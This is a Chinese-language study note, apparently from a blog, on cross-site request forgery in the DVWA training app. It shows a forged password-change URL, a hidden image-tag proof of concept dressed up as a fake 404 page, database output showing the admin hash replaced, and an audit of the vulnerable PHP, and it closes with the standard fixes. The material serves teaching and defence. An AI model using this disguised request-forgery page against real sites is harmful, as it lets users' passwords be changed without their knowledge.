CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
+++++++++++++++++++++++++++
+ 00x1 实现简单的攻击
+ 00x2 代码审计漏洞的源头
+++++++++++++++++++++++++++
00x1 简单的csrf攻击开始了
下面是一个修改密码的修改框:

那么修改密码的时候看到了URL为:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
倘若黑客将这个修改密码的URL发给被攻击者那么存在csrf漏洞的情况下,被攻击者同样的也会被修改密码。
利用的方法(在文章末尾有写此方法的小技巧):
<img src=” http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#”>
(这里我将该代码存到1.html当中然后访问)
将这个img标签插入到一个页面当中,但你访问这个页面的时候你也访问了那个具有更改密码功能的url。
我们先来看看,本来有多少个管理员。
mysql> select user,password from users;
+---------+----------------------------------+
| user | password |
+---------+----------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+----------------------------------+ 5 rows in set (0.00 sec)
可见只有五个管理员的.
现在我们上传一个Html页面,然后访问html页面以后。

(PS:本来是使用img标签,部分浏览器会进行拦截所以就使用了a标签)
再看看数据库。
mysql> select user,password from users;
+---------+----------------------------------+
| user | password |
+---------+----------------------------------+
| admin | 6e60cfc734e2ace0d02da94f160c346f|
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+----------------------------------+
是否发现admin的MD5已经被替换。
00x2 代码审计漏洞的源头
刚才案例的low.php
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
$html .= "<pre> Password Changed </pre>";
mysql_close();
}
else{
$html .= "<pre> Passwords did not match. </pre>";
}
}
?>
在第10行只是将检测$pass_new和$pass_conf是否相同哦(也就是两次输入的密码是否相同),然后使用mysql_Real_escaoe_String函数进行了过滤sql注入,然后就执行sql来修改密码。如此没有对referer的判断便导致了csrf漏洞。

写poc的时候可以那么写:
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
效果如下:

会写成几篇文章,最后写出如何修复的答案,欢迎朋友们留言讨论。
Csrf的修复
- 验证http referrer
- 在请求地址当中添加token并且验证
- 自定义http头中自定义属性并且验证
CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】的更多相关文章
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x3】
Hight.php完整代码如下: <?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_curr = ...
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x2 】
Medium完整代码: <?php if (isset($_GET['Change'])) { // Checks the http referer header if ( eregi ( &q ...
- CSRF学习笔记之CSRF的防御【00x4】
referer 验证 根据HTTP协议,在http请求头中包含一个referer的字段,这个字段记录了该http请求的原地址.通常情况下,执行转账操作的post请求www.bank.com/trans ...
- 初探csrf学习笔记
以下是学习了对CSRF的理解,大家切勿作为标准,如有出错请告之! 严禁转载.不想拿自己刚学到的知识去[误人子弟]之所以写出来是让自己巩固和增加理解,他日对此文有不当之处自会修改. [00x1]csrf ...
- csrf学习笔记
CSRF全称Cross Site Request Forgery,即跨站点请求伪造.我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的. CSRF攻击能够达到的目的是使受害者发 ...
- CSRF 学习笔记
1:什么是CSRF: 假设有一个支付网站:www.xx.com 向小明同学付款1000元数据包: www.xx.com/pay.php?name=xiaoming&account=xxxx@q ...
- 学习笔记之csrf
CBV 添加 csrf 第一种: 指定方法方面添加 装饰器 @memethod_decorator(xxx) 第二种 全部添加: 注意 在类名前: @method_decorator(xxx,name ...
- SurvivalShooter学习笔记(四.敌人攻击)
此案例中,敌人始终朝着玩家移动 到达攻击玩家范围时(身上的大的触发器被玩家触发时(敌人靠近玩家,当身上的触发器被触发,且对象是玩家时条件达成)) 隔一个时间端,打击玩家一下,对玩家造成伤害,玩家掉血, ...
- Metasploit学习笔记——网络服务渗透攻击
1.内存攻防技术 1.1缓冲区溢出漏洞机理 1.2栈溢出利用机理 1.3缓冲区溢出利用的限制条件 2.网络服务渗透攻击面 3. Windows服务渗透攻击实战案例——MS08-067安全漏洞 示例代码 ...
随机推荐
- [转]Sql server 大数据量分页存储过程效率测试附代码
本文转自:http://www.cnblogs.com/lli0077/archive/2008/09/03/1282862.html 在项目中,我们经常遇到或用到分页,那么在大数据量(百万级以上)下 ...
- .NET/MVC-ViewBag、ViewData、TempData区别
1.ViewData ViewData的生命周期和View相同, 只对当前View有效. 2.TempData TempData保存在Session中, Controller每次执行请求的时候会从Se ...
- 在Linux命令行下查询当前所使用的shell版本与种类的方法
原文: https://www.jb51.net/LINUXjishu/407463.html ---------------------------------------------------- ...
- (转)Dubbo扩展点实现细节
实现细节 (+) (#) 初始化过程细节 (+) (#) 解析服务 基于dubbo.jar内的META-INF/spring.handlers配置,Spring在遇到dubbo名称空间时,会回调Dub ...
- RTP Tools
RTP Tools (Version 1.20) https://wiki.wireshark.org/RTP_statistics Here is a small example: Install ...
- Django 学习记录
这是我自己理解并自己画的,django 请求示意图,表示了它的组织方式. project manage.py: 主要工具文件 settings.py: 配置文件 urls.py: url 定义及其指向 ...
- 重构wm_concat,采用clob做为存储容器
--Type CREATE OR REPLACE TYPE zh_concat_im AUTHID CURRENT_USER AS OBJECT ( CURR_STR clob, STATIC FUN ...
- Linux打包解压
tar tar命令可以用来压缩打包单文件.多个文件.单个目录.多个目录. 常用格式: 单个文件压缩打包: tar czvf my.tar file1 多个文件压缩打包: tar czvf my.tar ...
- java分页功能代码
import java.util.ArrayList; import java.util.List; /** * * @author cheney * * @date Aug 31, 2012 */ ...
- unity3d协同不同设备的代码
unity3d的脚本代码中,Update()函数每一帧都会运行一次. 假设有这两台设备:一台超级四路泰坦计算机,一台旧手机,它们一起运行一个赛跑游戏,Update()函数每一帧运行一次,游戏中的小人就 ...